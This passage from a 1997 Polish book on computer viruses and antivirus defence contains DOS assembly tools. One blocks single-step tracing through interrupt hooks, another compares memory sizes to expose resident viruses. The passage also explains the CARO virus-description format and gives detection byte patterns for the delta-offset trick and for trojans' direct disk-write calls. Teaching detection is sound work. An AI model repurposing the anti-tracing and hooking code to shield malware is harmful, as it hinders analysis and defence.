push ax bx ds ; zachowaj zmieniane
rejestry
push ss ; \ za pomoca tej
sztuczki zwykle
pop ss ; \ mozna pobrac
"prawdziwy" obraz
pushf ; / rejestru
znacznikow
pop ax ; /
test ah,1 ; czy TF ustawiony ?
jz TF_NieUstawiony ; NIE - nie trzeba nic
robic
mov ax,0123h ;
push ax ; ss:[sp]:=0123
pop ax ; ax:=ss:[sp]:=0123
dec sp ; sp=sp-2-wskazuje na
wartosc,
dec sp ; ktora byla sciagana
ze stosu
pop ax ; ax:=ss:[sp]:=0123
jezeli TF=0
cmp ax,0123h
jz TF_NieUstawiony ; NIE - nie trzeba nic
robic
xor ax,ax ; \ DS wskazuje na
tablice przerwan
mov ds,ax ; /
lds bx,ds:[01h*4] ; DS:BX wskazuje na
adres obslugi
; przerwania krokowego
INT 1
mov al,0CFh ; kod 0CFh oznacza IRET
xchg al,ds:[bx] ; wymien pierwszy bajt
w procedurze
; obslugi INT 1 - teraz
jest tylko
; IRET
push ax ; zachowaj pierwszy
bajt procedury
pushf ; \
pop ax ; \ zeruj TF
and ah,0FEh ; -
push ax ; /
popf ; /
pop ax ; przywroc pierwszy
bajt
mov ds:[bx],al ; i zapisz go z
powrotem
TF_NieUstawiony:
pop ds bx ax ; przywroc zmieniane
rejestry
ret ; powrot z procedury
KoniecKoduTSR:
Poczatek:
mov es,ds:[2Ch] ; ES=blok otoczenia
programu
mov ah,49h ; funkcja DOS - zwolnij
blok pamieci
int 21h ; wywolaj funkcje
lea si,TeCopyRight ; \ pokaz info o
programie
Call Print ; /
mov bp,0BACAh ; \ wez stare INT 21h
i jednoczesnie
mov ax,3521h ; - odinstaluj
program, jezeli juz
int 21h ; / byl wczesniej
zainstalowany
cmp ax,0BACAh ; czy zostal
odinstalowany ?
je Deinstal ; TAK - wyswietl
komunikat i koncz
mov word ptr [StareInt21],bx ; \ zachowaj stare INT
21
mov word ptr [StareInt21+2],es ; /
mov ax,3513h ; funkcja DOS - wez
stare INT 13h
int 21h ; wywolaj funkcje
mov word ptr [StareInt13],bx ; \ zachowaj stare INT
13
mov word ptr [StareInt13+2],es ; /
lea si,TeZainstalowany ; \ pokaz info o
programie
Call Print ; /
lea dx,NoweInt21h ; DS:DX wskazuje na
nowa procedure
mov ax,2521h ; funkcja DOS - ustaw
nowa INT 21
int 21h ; wywolaj funkcje
lea dx,NoweInt13h ; DS:DX wskazuje na
nowa procedure
mov ax,2513h ; funkcja DOS - ustaw
nowa INT 13
int 21h ; wywolaj funkcje
mov dx,DlugoscKoduTSR ; ile kodu zostanie
jako TSR
mov ah,31h ; funkcja DOS - koncz i
zostaw TSR
int 21h ; wywolaj funkcje
Deinstal:
lea si,TeOdinstalowany ; \ pokaz info o
deinstalacji
Call Print ; /
mov ax, 4C00h ; funkcja DOS - koncz
program
int 21h ; wywolaj funkcje
Print proc near ; procedura wyswietla
tekst ASCIIZ
; spod adresu CS:SI
push ax ; \ zachowaj zmieniane
rejestry
push si ; /
GetNextChar:
lods byte ptr cs:[si] ; wez kolejny znak
or al,al ; czy znak jest zerem ?
jz PrintExit ; tak=koniec napisu;
wyjdz z petli
Call PrintChar ; nie=wyswietl znak w
AL
;
jmp short GetNextChar ; i wez nastepny znak
PrintExit:
pop si ; \ przywroc zmieniane
rejestry
pop ax ; /
ret ; powrot z procedury
Print endp
PrintChar proc near ; procedura wyswietla
znak w AL
push ax ; zachowaj zmieniany
rejestr
mov ah,0Eh ; funkcja BIOS
int 10h ; wyswietl znak w AL
pop ax ; przywroc zmieniany
rejestr
ret ; powrot z procedury
PrintChar endp
TeCopyRight db CR,LF,'ANTYTRAC v1.0, Autor : Adam Blaszczyk
1997'
TeCRLF db CR,LF,NUL
TeZainstalowany db CR,LF,' _ ANTYTRAC zainstalowany!',NUL
TeOdinstalowany db CR,LF,' _ ANTYTRAC odinstalowany!',NUL
ANTYTRAC ENDS ; koniec segmentu kodu i
danych
END Start ; koniec programu,
pierwsza instrukcja
; pod etykieta Start
12.8. Pobieranie wielkości pamięci operacyjnej
Ze względu na to, iż większość wirusów rezydentnych instaluje się w pamięci poprzez
modyfikację nagłówków pamięci MCB, możliwe jest wykrycie większości takich intruzów
poprzez obliczenie wielkości dostępnej pamięci na różne sposoby i następnie na
porównaniu, czy uzyskane wartości zgadzają się ze sobą. Poniższy program pobiera na
cztery sposoby wielkość pamięci operacyjnej poniżej 640K i następnie rozmiar ten
wyświetla na ekranie.
;----------------------------------------------------------------
------------;
;
;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i
antywirusowe" ;
;
;
; MEM640 v1.0, Autor : Adam Blaszczyk 1997
;
;
;
; Programik pobiera i wyswietla rozmiar pamieci
ponizej 640kb ;
; Wielkosc pamieci jest pobierana kilkoma metodami
;
; Przy jego uzyciu mozna wykryc w pamieci obecnosc
wirusa ;
; rezydetnego (gdy odczytane dlugosci pamieci beda
rozne) ;
;
;
;----------------------------------------------------------------
------------;
PROG SEGMENT
ORG 100h
ASSUME CS:PROG, DS:PROG
NUL = 00h ; \
LF = 0Ah ; - stale znakow
CR = 0Dh ; /
;----------------------------------------------------------------
-------------
Start:
lea si,TeCopyRight ; SI=ofset do info o
programie
Call DrukLn ; wyswietl info o
programie
Call Pokaz_CMOS ; ile zapisane w CMOS
call Pokaz_ZmiennaBIOS ; ile w komorce
0000:0413
call Pokaz_Int12 ; ile zwraca INT 12
Call Pokaz_MCB ; ile z sumy MCB
mov ax,4C00h ; funkcja DOS - koncz
program
int 21h ; wywolaj funkcje
;----------------------------------------------------------------
-------------
Pokaz_CMOS:
push ax dx si ; zachowaj zmieniane
rejestry
lea si,TeCMOS ; \ wyswietl info skad
czytany
Call Druk ; / rozmiar pamieci
mov al,16h ; \ wez z CMOS starsza
czesc
Call WezCMOS ; / rozmiaru pamieci
mov ah,al ; i przepisz do AH
mov al,15h ; \ wez z CMOS starsza
czesc
Call WezCMOS ; / rozmiaru pamieci
; AX= rozmiar w CMOS w
kilobajtach
mov dx,1024 ; \ oblicz ile bajtow
mul dx ; /
Call DrukDec32 ; wyswietl ile bajtow
pop si dx ax ; przywroc zmieniane
rejestry
ret ; powrot
;----------------------------------------------------------------
-------------
WezCMOS:
out 70h,al ; zapisz do portu CMOS,
; ktora komorke czytac
jmp $+2 ; czekaj
in al,71h ; czytaj z CMOS
ret ; powrot
;----------------------------------------------------------------
-------------
Pokaz_Int12:
push ax dx si ; zachowaj zmieniane
rejestry
lea si,TeInt12 ; \ wyswietl info skad
czytany
Call Druk ; / rozmiar pamieci
int 12h ; przerwanie BIOS -
dostepna pamiec
; AX=rozmiar pamieci w
kilobajtach
mov dx,1024 ; \ oblicz ile bajtow
mul dx ; /
call DrukDec32 ; wyswietl ile bajtow
pop dx ax si ; przywroc zmieniane
rejestry
ret ; powrot
;----------------------------------------------------------------
-------------
Pokaz_ZmiennaBIOS:
push es ax dx si ; zachowaj zmieniane
rejestry
lea si,TeZmiennaBIOS ; \ wyswietl info skad
czytany
Call Druk ; / rozmiar pamieci
xor ax,ax ; czytaj zmienna BIOS
0000:0413
mov es,ax ; ES=0000
mov ax,es:[413h] ; AX=0000:0413= rozmiar
pamieci
; w kilobajtach
mov dx,1024 ; \ oblicz ile bajtow
mul dx ; /
Call DrukDec32 ; wyswietl ile bajtow
pop si dx ax es ; przywroc zmieniane
rejestry
ret ; powrot
;----------------------------------------------------------------
-------------
Pokaz_MCB:
push es ax bx cx dx ; zachowaj zmieniane
rejestry
lea si,TeMCB ; \ wyswietl info skad
czytany
Call Druk ; / rozmiar pamieci
mov ax,5802h ; funkcja DOS - czy UMB
dolaczone ?
int 21h ; wywolaj funkcje
push ax ; zachowaj informacje na
pozniej
mov ax,5803h ; funkcja DOS -
dolacz/odlacz bloki UMB
mov bx,1 ; sprobuj dolaczyc bloki
UMB
int 21h ; wywolaj funkcje
mov ax,5802h ; funkcja DOS - czy UMB
dolaczone ?
int 21h ; wywolaj funkcje
xor cx,cx ; CX=0 - UMB nieobecne w
systemie
or al,al ; 01=jezeli UMB sa
dolaczone
jz UMB_NieDolaczone ; 00=jezeli UMB nie sa
dolaczone
inc cx ; CX=1 - UMB obecne w
systemie
mov ax,5803h ; funkcja DOS -
dolacz/odlacz bloki UMB
xor bx,bx ; odlacz bloki UMB
int 21h ; wywolaj funkcje
UMB_NieDolaczone:
mov ah,52h ; funkcja DOS - wez
adres listy list LL
int 21h ; wywolaj funkcje
mov ax,es:[bx-2] ; wez adres pierwszego
bloku MCB
NastepnyMCB: ; kolejne bloki MCB
cmp ax,0A000h ; czy >640kB ?
jae Tylko640 ; TAK - pomin
mov es,ax ; ES=MCB
stc ; +1 w dodawaniu ponizej
adc ax,word ptr es:[3] ; dodaj rozmiar bloku
MCB+1
; AX=nastepny blok MCB
cmp byte ptr es:[0],'Z' ; czy to ostatni blok
MCB ?
jne NastepnyMCB ; NIE - dodaj koleny
blok
; TAK - wyswietl sume
Tylko640:
add ax,cx ; dodaj ewentualny blok
MCB
; opisujacy bloki MCB w
pamieci UMB
; AX=pamiec w
paragrafach
mov bx,16 ; \
mul bx ; / oblicz ile bajtow
call DrukDec32 ; wyswietl ile bajtow
pop bx ; przywroc info o UMB
mov bh,0 ; BX=BL
mov ax,5803h ; funkcja DOS -
dolacz/odlacz bloki UMB
int 21h ; wywolaj funkcje
pop dx cx bx ax es ; przywroc zmieniane
rejestry
ret ; powrot
;----------------------------------------------------------------
-------------
DrukDec32: ; wyswietl liczbe w
DX:AX
push ax bx dx si ; zachowaj zmieniane
rejestry
mov si,offset Hex2DecBufor+10 ; ustaw na koniec
bufora, bo zapis od konca
mov byte ptr [si],0 ; utworz ASCIIZ dodaj
zero na koncu
DzielPrzez10:
mov bx,10 ; dziel DX:AX przez BX
Call Dziel32 ; w BX reszta z
dzielenia
add bl,'0' ; dodaj ASCII "0"
dec si ; zmniejsz index w
tablicy
mov byte ptr ds:[si],bl ; zapisz cyfre
or dx,dx ; \
jnz DzielPrzez10 ; \
or ax,ax ; \
jnz DzielPrzez10 ; --- czy liczba jest
juz rowna 0
; NIE - dziel dalej
call DrukLn ; TAK - wyswietl bufor
pop si dx bx ax ; przywroc zmieniane
rejestry
ret ; powrot
;----------------------------------------------------------------
-------------
Dziel32: ; dziel (DX:AX)/BX
push bp ; zachowaj BP
push ax ; zachowac mniejsza
czesc liczby 32 bitowej
mov ax,dx ; przenies b. znacz.
czesc do mniej. znacz.
xor dx,dx ; i wyzeruj DX, DX:AX =
> 0:DX
div bx ; podziel (0:DX)/BX
mov bp,ax ; calosc z dzielenia to
wieksza czesc wyniku
pop ax ; przywroc do AX mniej
znaczaca liczbe z poczatku
div bx ; DX jest reszta z
dzielenia b. znacz. czesci przez BX
mov bx,dx ; w BX reszta z
dzielenia
mov dx,bp ; DX:AX=liczba
podzielona przez BX,
; a w BX reszta z
dzielenia
pop bp ; przywroc zmieniany
rejestr
ret ; powrot
;----------------------------------------------------------------
-------------
DrukLn:
push si ; zachowaj zmieniany
rejestr
call Druk ; wyswietl tekst z CS:SI
lea si,TeCRLF ; \ i przejdz do
nastepnej linii
Call Druk ; /
pop si ; przywroc zmieniany
rejestr
ret ; powrot
;----------------------------------------------------------------
-------------
Druk:
push ax si ; zachowaj zmieniane
rejestry
DrukPetla:
lods byte ptr cs:[si] ; wez kolejny znak
tekstu
or al,al ; czy NUL ?
jz DrukPowrot ; TAK - koniec tekstu
mov ah,0Eh ; funkcja BIOS -
wyswietl znak
int 10h ; wywolaj funkcje
jmp short DrukPetla ; pobierz kolejny znak
tekstu
DrukPowrot:
pop si ax ; przywroc zmieniane
rejestry
ret ; powrot
TeCopyRight db CR,LF,'MEM640 v1.0, Autor : Adam Blaszczyk 1997'
db CR,LF
db CR,LF,'Wielkosc pamieci w bajtach :',NUL
TeCMOS db ' _ CMOS : ',NUL
TeInt12 db ' _ INT 12 : ',NUL
TeZmiennaBIOS db ' _ Zmienna BIOS 0000:0412 : ',NUL
TeMCB db ' _ Suma blokow MCB (<640kB) : ',NUL
TeCRLF db CR,LF,NUL
Hex2DecBufor db 11 dup(?) ; bufor na liczbe
dzisietna
PROG ENDS
END Start
ROZDZIAŁ 13
CARO (Computer Antyvirus Research Organization) jest organizacją zrzeszającą
autorów programów antywirusowych z całego świata. Jednym z zadań, które stawia
sobie organizacja, jest ujednolicenie nazewnictwa oraz opisu istniejących wirusów. Dla
własnych potrzeb organizacja stworzyła coś w rodzaju specyfikacji opisu wirusów,
zwanej CaroBase.
Plik w formacie CARO jest zwykłym plikiem tekstowym i zawiera następujące pola i
etykiety:
CAROBASE_BANNER: na początku pliku; zawiera informacje o autorze opracowania
itd.
CAROBASE_LINGUA: określa język, w którym napisany jest dokument; najczęściej jest
to angielski (English).
CAROBASE_START: znacznik końca CAROBASE BANNER, zaraz po tym polu
rozpoczyna się pierwszy rekord opisu (każdy rekord opisuje jednego wirusa).
CAROBASE_END: kończy ostatni rekord opisu.
Możliwe rekordy zawierające opis to:
NAME: nazwa w standardzie CARO.
ALIASES: lista oddzielonych kropką, innych nazw wirusa; w przypadku braku - puste
pole; nazwa może zawierać znaki przestankowe; cudzysłów () oznacza propozycję
nazwy.
NAME.HISTORY: oddzielone przecinkami poprzednie nazwy w konwencji CARO (jeżeli
istniały).
LAST_NAME_CHANGE: data ostatniej zmiany nazwy wirusa.
TARGETS: określa obiekty atakowane przez wirusa; możliwe obiekty to:
COM - pliki COM, rozpoznawane po pierwszych 2 bajtach programu.
EXE - pliki EXE, rozpoznawane po pierwszych 2 bajtach programu (równe MZ lub ZM).
.COM - pliki COM, rozpoznawane po rozszerzeniu pliku. .EXE - pliki EXE,
rozpoznawane po rozszerzeniu pliku. ZM - w przypadku, gdy wirus sprawdza pierwsze 2
bajty programu (znacznik MZ lub ZM). SYS - zaraża sterowniki w plikach SYS. OVR -
zaraża pliki nakładkowe.
NE_W - potrafi infekować pliki new executable dla Windows. NE_OS2 - potrafi
infekować pliki new executable dla OS/2. NewEXE - potrafi infekować pliki new
executable, ale bez sprawdzania systemu, dla którego plik Jest przeznaczony. DIR -
zaraża przy użyciu JAP.
MBR - infekuje Główny Rekord Ładujący twardego dysku. FBR - zaraża BOOT-sektory
dyskietek. HER - zaraża BOOT-sektory twardych dysków. BAT - zaraża pliki wsadowe
BAT. OBJ - zaraża pliki OBJ. LIB - zaraża pliki LIB.
COMP - wirus jest typu towarzyszącego (w nawiasie może być określone rozszerzenie
plików wykorzystywanych przez wirusa, np. EXE/COM).
OTHER - wirus infekuje inny obiekt, nie opisany powyżej.
RESIDENT: określa, czy wirus zostawia po uruchomieniu jakiś ślad w pamięci;
możliwe wartości to:
NONE - to nie jest wirus rezydentny.
PAYLOAD - wirus nie jest rezydentny, ale instaluje rezydentny kod, np. bombę.
IVT - wirus rezyduje w tablicy przerwań.
FIRSTMCB - wirus rezyduje w MCB należącym do DOS-a.
BUFFER - wirus rezyduje w obszarze buforów DOS.
LOW - wirus rezyduje jak zwykły TSR.
TWIXT (przestarzałe) - wirus rezyduje za ostatnim blokiem pamięci.
TwixtAny - wirus zmniejsza rozmiar aktualnego MCB.
TwixtZ - wirus zmniejsza rozmiar aktualnego MCB, jeżeli jest to ostatni blok w łańcuchu
(tzn. MCB ma znacznik Z).
NewMCB - wirus zmniejsza rozmiar aktualnego MCB i tworzy w tak powstałym bloku
nowy MCB z przepisaniem znacznika z aktualnego bloku.
NewEndMCB - zmniejsza aktualny blok MCB i tworzy w tak powstałym miejscu nowy
MCB ze znacznikiem Z; w aktualnym MCB zmienia znacznik bloku na M.
UPPER - wirus próbuje zaalokować pamięć powyżej 640kB (UMB).
HIGH - wirus próbuje zaalokować pamięć w obszarze od IMb do (l Mb + 64 Kb - 16).
TOP - wirus rezyduje w bloku pamięci powstałym na skutek zmniejszenia pamięci
widzianej przez BIOS (zmienna 0040:0013).
UNMARKED - wirus rezyduje na końcu dostępnej pamięci, jednak miejsca tego w żaden
sposób nie chroni.
VIDEO - wirus rezyduje w pamięci ekranu.
EXT - wirus rezyduje w pamięci XMS.
EXP - wirus rezyduje w pamięci EMS.
AT addr - wirus rezyduje w pamięci pod wyspecyfikowanym adresem [addr] i miejsca
tego w żaden sposób nie chroni przed zapisem, np. w obszarze zmiennych DOS.
OTHER - wirus instaluje się w pamięci przy pomocy innej, me opisanej powyżej techniki.
Below - wirus manipuluje blokami MCB i lokuje się w pamięci przed aktualnym blokiem
MCB.
MEMORY_SIZE: określa ilość pamięci zajmowanej przez wirusa w pamięci w bajtach,
kilobajtach (na końcu litera K) lub w paragrafach (litera P na końcu).
STORAGE_SIZE: rozmiar wirusa na dysku w bajtach, kilobajtach (na końcu litera K),
jednostkach JAP (na końcu litera C) lub sektorach (litera S na końcu);
w przypadku wyrównywania długości pliku do jakiejś wielokrotności należy to uwzględnić
w długości wirusa.
WHERE: opisuje sposób działania wirusa (może być to lista oddzielona kropkami).
Dla plików są możliwe:
OVERWRITES - wirus nadpisuje i w efekcie niszczy plik.
PREPENDING - wirus umieszcza swój kod w pliku przed oryginalnym kodem programu
(przesuwa oryginalny kod do przodu).
MOVE - wirus zachowuje nadpisywany przez siebie początek pliku na jego końcu.
APPENDING (przestarzałe) - wirus dopisuje się na końcu pliku.
EOIMAGE - dopisuje się za obrazem pliku EXE (długość obrazu obliczana jest na
podstawie nagłówka).
EOFILE - wirus dopisuje się na końcu pliku.
HEADER - wirus instaluje się w nagłówku pliku EXE.
SPLIT - wirus umieszcza siew pliku pomiędzy nagłówkiem pliku EXE a resztą pliku.
DATA - wirus nadpisuje obszar pliku zawierający stałe wartości (np. ciąg zer).
RANDOM - plik doczepia się w przypadkowym miejscu pliku.
SLACK - wirus korzysta z luki powstałej na końcu pliku nie wykorzystującego całej JAP.
COMPANION - wirus jest typu towarzyszącego.
OTHER - wirus używa innej techniki, nie opisanej powyżej.
Dla sektorów możliwe są:
AT ttt/hh/ss - na ścieżce ttt, głowicy hh, w sektorze ss.
AT_LSN nn - w logicznym sektorze nn.
AT_CN nn - w JAP numer nn.
TRACK nn - na dodatkowej ścieżce nn.
BAD - w jednostce JAP oznaczonej jako zła.
STEALTH: określa listę przerwań i funkcji wykorzystywanych przez wirusa;
możliwe są dwa kluczowe słowa:
NONE - wirus nie używa techniki stealth.
DRIVER - wirus instaluje się jako sterownik.
POLYMORPHIC: określa, Jak polimorficzny jest wirus, przecinek oddziela słowa
kluczowe, możliwe są:
NONE - wirus nie używa procedur szyfrujących.
CONST - wirus używa stałego sposobu szyfrowania, ze stałą procedurą dekodera.
VAR - wirus używa zmiennej procedury szyfrującej, ale stałego dekodera.
WILDCARD - wirus używa zmiennej procedury szyfrującej oraz zmiennego dekodera,
możliwego do wykrycia przy użyciu sygnatur ze znakami globalnymi.
POLY-nn - wirus używa zmiennej procedury szyfrującej oraz zmiennego dekodera;
liczba nn określa ilość stałych bajtów (w dowolnym miejscu w dekoderze); 00 - oznacza
najbardziej zaawansowany polimorfizm.
ENTRY - wirus ukrywa miejsce wejścia do kodu.
SWAP - wirus przemieszcza (na zasadzie anagramu) część swojego kodu.
OTHER - wirus używa innego polimorfizmu, nie opisanego powyżej.
ARMOURING: sposoby obrony stosowane przez wirusa; możliwe to:
NONE - wirus nie stosuje żadnych metod.
CODE - wirus stosuje sztuczki antydeasemblerowe.
CRYPT - wirus stosuje kilkustopniowe szyfrowanie.
TRACE - wirus wyłącza przerwania INT l i INT 3.
KBD - wirus wyłącza klawiaturę podczas uruchamiania.
SELFTRACE - wirus używa INT 1 i INT 3 w dekoderze.
INT1 - wirus używa INT 1, INT3 - wirus używa INT 3.
PREFETCH - wirus używa sztuczek antydebuggerowych, wykorzystujących kolejkę
rozkazowa do wykrycia, czy jego kod nie jest śledzony przy użyciu debuggera.
OTHER - wirus używa innej techniki, nie opisanej powyżej.
TUNNELLING: określa, czy wirus używa tunelingu.
NONE - wirus nie używa tunelingu. NEXT - wirus potrafi ominąć ostatnio zainstalowany
program TSR.
HAND21 - wirus potrafi odnaleźć i wykorzystać oryginalny adres wejścia do przerwania
21h.
DRIVER - wirus używa procedur obsługi sterowników.
SECTOR - wirus używa INT 13h przy dostępie do dysku.
HAND13 - wirus potrafi odnaleźć i wykorzystać oryginalny adres wejścia do przerwania
INT 13h.
BIOS - wirus używa bezpośrednich wywołań procedur ROM" BIOS do obsługi dysków.
HARDWARE - wirus używa dostępu do dysku poprzez porty.
OTHER -wirus używa innej techniki tunelingu, nie opisanej powyżej.
W przypadku HAND21, HAND13 i BIOS można wyliczyć (w nawiasach) metody
wyszukiwania oryginalnego adresu; możliwe słowa kluczowe to:
TRACE - wirus używa trybu krokowego do odnalezienia oryginalnego wejścia do
przerwania.
2F - wirus używa funkcji (13/2F).
TABLE - wirus używa tablicy z adresami do odnalezienia oryginalnego wejścia do
przerwania.
SCAN - wirus skanuje pamięć w poszukiwaniu łańcucha bajtów charakterystycznych dla
danego przerwania.
OTHER - inna metoda.
INFECTIVITY:
O - to nie jest wirus.
1 - wirus, który dość wolno się rozpowszechnia.
2 - odpowiada szybkości rozmnażania się nierezydentnego wirusa nadpisującego.
3 - odpowiada szybkości rozmnażania się wirusa nierezydentnego zarażającego jeden
plik po uruchomieniu.
4 - odpowiada szybkości rozmnażania się wirusa rezydentnego zarażającego pliki tylko
przy uruchomieniu ofiary.
5 - szybki infektor.
6 - odpowada szybkości romnażania się wirusów zarażających MBR.
7 - bardzo szybki infektor.
OBVIOUSNESS:
określa, jak łatwo wirus jest zauważalny przez użytkownika.
EXTREMELY - wirus zawiera groźny ładunek, łatwy do zauważenia.
QUITE - wirus zawiera ładunek dość łatwy do zauważenia.
SLIGHTLY - wirus zawiera ładunek powodujący efekt trudny do zauważenia.
NONE - wirus nie jest możliwy do zauważenia bez użycia specjalnego programu
(najczęściej antywirusowego).
COMMONNESS:
rozpowszechnienie w świecie (pod względem ilości zgłoszeń infekcji).
0 - nieznany: najczęściej trywialny, nadpisujący, łatwy do wykrycia.
1 - bardzo słabo znany.
2 - słabo znany (kilka zgłoszeń).
3 - znany (przynajmniej jedno zgłoszenie od znawcy wirusów).
4 - znany na całym świecie.
5 - bardzo znany.
6 - bardzo znany w przeszłości.
COMMONNESS_DATE:
określa, kiedy powyższe pole było modyfikowane; data zapisywana jest w formacie rrrr-
mm-dd.
TRANSIENT_DAMAGE: efekt działania wirusa nie jest niszczący.
T_DAMAGE TRIGGER: określa, kiedy powyższy efekt zostanie uaktywniony.
PERMANENT_DAMAGE: określa, jakie zniszczenia może spowodować wirus.
P_DAMAGE_TRIGGER: określa, kiedy powyższy efekt zostanie uaktywniony.
SIDE_EFFECTS: znane efekty uboczne powodowane przez wirusa.
INFECTION_TRIGGER: określa, kiedy wirus infekuje (np. COM, gdy długość pliku ofiary
> 100 bajtów).
MSG_DISPLAYED: określa łańcuch (podany w cudzysłowie) wyświetlany przez wirusa;
jeżeli zaszyfrowany, należy dodać na końcu słowo "Encrypted".
MSG_NOT_DISPLAYED: określa łańcuch (podany w cudzysłowie) zawarty w wirusie;
jeżeli zaszyfrowany, należy dodać na końcu słowo "Encrypted".
INTERRUPTS_HOOKED: przedzielona przecinkami lista przerwań i funkcji przejętych
przez wirusa; liczby podane jako HEX.
SELFREC_IN_MEMORY: określa, w jaki sposób wirus sprawdza, czy jest już
zainstalowany w pamięci.
SELFREC_ON_DISK: określa, w jaki sposób wirus sprawdza, czy obiekt jest
zainfekowany.
LIMITATIONS: określa ograniczenia wirusa (hardware, software).
COMMENTS: komentarz na temat wirusa.
ANALYSIS_BY: określa, kto analizował wirusa.
DOCUMENTATION_BY: opisuje, kto sporządził dokumentację.
ENTRY_DATE: określa datę, kiedy baza danych o wirusie została stworzona; data ma
format: rrrr-mm-dd.
LAST_MODIFIED: określa datę, kiedy baza danych o wirusie była ostatnio
modyfikowana; data ma format: rrrr-mm-dd.
SEE_ALSO: określa, do jakich wirusów opisywany wirus jest podobny.
END: oznacza koniec opisu wirusa.
ROZDZIAŁ 14
Najlepsza metoda ustrzeżenia się przed wirusami polega na sprawdzaniu nieznanych
plików (programów, dokumentów) możliwie najnowszym programem antywirusowym
(jeżeli to możliwe, to kilkoma różnymi). Bardzo ważnym elementem działań
zapobiegawczych jest także regularne tworzenie kopii awaryjnych, zawierających
najważniejsze pliki, będące zwykle efektami mozolnej pracy. Choć niektórym osobom
może się to wydać niepotrzebne, prędzej czy później kopie te okażą się niezbędne, i to
nie tylko ze względu na wirusy. Nie ma bowiem chyba takiego użytkownika, któremu w
pewnym momencie komputer nie odmówił posłuszeństwa- Pół biedy, gdy usterka jest
trywialna, gorzej, gdy zostanie uszkodzona najważniejsza chyba, poza procesorem,
część komputera: dysk twardy, W takiej sytuacji kopia awaryjna jest jedyną deską
ratunku. Obecność wirusa w systemie to nie straszna tragedia, zwłaszcza, że większość
wirusów, wbrew powszechnej opinii, nie zawiera procedur destrukcyjnych. W przypadku
zainfekowania komputera nie należy więc od razu formatować dysku twardego. Co
więcej, wykonanie tej operacji wcale nie oznacza pozbycia się intruza z systemu.
Poniżej zamieszczono informacje na temat specyficznych, działających tylko dla
wybranych obiektów, metod.
14.1. Ochrona przed wirusami plików uruchamialnych
Oprócz sprawdzenia programem antywirusowym pliki uruchamial-ne można dodatkowo
pobieżnie zanalizować przy użyciu debuggera.
Wprawny użytkownik bowiem często już po kilku, kilkunastu instrukcjach kodu programu
rozpozna, czy nie zawiera on wirusa i poprzez przerwanie jego działania uniemożliwi
infekcję systemu. Oczywiście powyższa metoda wydawać się może bardzo amatorska,
jednak jest skuteczna, jak zresztą większość tego typu sposobów, gdyż pozwala wykryć
nowe wirusy, których nie rozpoznają jeszcze programy antywirusowa. Na przykład
wykrycie podanej poniżej sekwencji na początku badanego programu świadczy prawie
na pewno o tym, że program ten zawiera wirusa. Jej wykonanie umożliwia bowiem
uzyskanie relatywnego offsetu, pod którym umieszczony jest w pamięci kod wirusa.
Wyznaczone przemieszczenie jest przez niego stosowane przy dostępie do zawartych w
nim danych (za pomocą adresowania pośredniego: bazowego lub indeksowego).
; Sekwencja znajduj╣ca siŕ na pocz╣tku wiŕkszoťci wirusˇw
plikowych
CALL TRIK ; wywo│anie procedury TRIK umieťci na stosie
offset do
; nastŕpuj╣cej po niej instrukcji (POP
REJ16)
TRIK:
POP REJ16 ; zdejmuje ze stosu offset, pod ktˇrym jest
umieszczony
; rozkaz POP REJ16 i umieszcza go w
rejestrze 16-bitowym,
; najczŕťciej w ktˇrymť z : SI, DI, BP, BX
SUB REJ16,???? ; ???? najczŕťciej =3, po tej operacji
wartoťŠ REJ16
; bŕdzie ofsetem wskazuj╣cym na pocz╣tek
kodu wirusa,
; wartoťŠ 3 wynika z d│ugoťci rozkazu CALL
TRIK, czyli
; (OE8h 00h 00h)
Poniżej podano wygląd tej sekwencji dla różnych typów rejestru Rejl6.
Sekwencje dla różnych kombinacji rejestru REJ16
Rejestr 16-bitowy
Sekwencja bajtów
Kod po deasemblacji
AX
E8 00 00
58
2D 03 00
CALL TRIK
TRIK: POP AX
SUB AX,3
CX
E8 00 00
59
83 E9 03
CALL TRIK
TRIK: POP CX
SUB CX,3
BX
E8 00 00
5B
83 EB 03
CALL TRIK
TRIK: POP BX
SUB BX,3
DX
E8 00 00
5A
83 EA 03
CALL TRIK
TRIK: POP DX
SUB DX,3
BP
E8 00 00
5D
83 ED 03
CALL TRIK
TRIK: POP BP
SUB BP,3
SI
E8 00 00
5E
83 EE 03
CALL TRIK
TRIK: POP SI
SUB SI,3
DI
E8 00 00
CALL TRIK
5F
83 EF 03
TRIK: POP DI
SUB DI,3
14.2. Ochrona przed bombami logicznymi i końmi trojańskimi
Ze względu na sposób działania, nieznane szczepionkom antywirusowym konie
trojańskie i bomby są trudne do wykrycia, gdyż właściwy, destrukcyjny kod może być
umieszczony w dowolnym miejscu programu, tak więc znalezienie takiej sekwencji nie
jest zbyt łatwe (a gdy program jest wewnętrznie skompresowany wręcz niemożliwe). Z
pomocą przychodzi tu omówiona wcześniej heurystyka, technika polegająca na
wykrywaniu potencjalnych agresorów na podstawie charakterystycznych sekwencji
kodu. Najczęściej programy poszukujące koni trojańskich w podejrzanych plikach
szukają instrukcji wywołań przerwań programowych 13h (sekwencja 0CDh, 013h) lub
26h (sekwencja 0CDh, 026h), używanych do odczytywania i zapisywania sektorów,
które ze względu na swe działanie występują raczej rzadko w typowym oprogramowaniu
użytkowym, gdyż normalne programy nie korzystają z bezpośrednich operacji zapisu na
sektorach, a najniższy poziom, na jakim działają, to operacje na plikach.
Potencjalnymi końmi trojańskimi są najnowsze wersje typowych i często używanych
programów użytkowych, np. antywirusowych i kompresujących, tak więc należy się z
nimi obchodzić dość ostrożnie. Dobrym rozwiązaniem, pozwalającym uchronić się przed
większością koni trojańskich i bomb, może być zainstalowanie monitora
antywirusowego. Konie trojańskie są zwykle pisane przez początkujących programistów,
którzy do przeprowadzania destrukcji używają funkcji bibliotecznych języków wysokiego
poziomu, bądź też przerwań programowych, a te mogą być łatwo przechwytywane i
kontrolowane przez monitor.
14.3. Ochrona przed makrowirusami
Ze względu na to, iż bez programu antywirusowego trudno jest wykryć wirusy w plikach
DOC czy XLS, można przedsięwziąć pewne kroki, aby zminimalizować szansę
zainfekowania systemu:
> wyłączyć wszystkie makra automatyczne przy pomocy własnoręcznie napisanego
makra (najlepiej nazwać je AutoExec, dzięki czemu zostanie ono zawsze wywoływane
podczas uruchamiania Worda):
SUB MAIN
DisableAutoMacros 1
END SUB
> aby wyłączyć przy uruchamianiu Worda makro AutoExec należy uruchamiać aplikację
z parametrem /m (WINWORD.EXE /M);
> podczas wczytywania plików trzymać wciśnięty klawisz SHIFT, co spowoduje
zablokowanie automatycznego makra AutoOpen;
> od czasu do czasu przeglądać listę makr zawartych w szablonie NORMAL.DOT; jeżeli
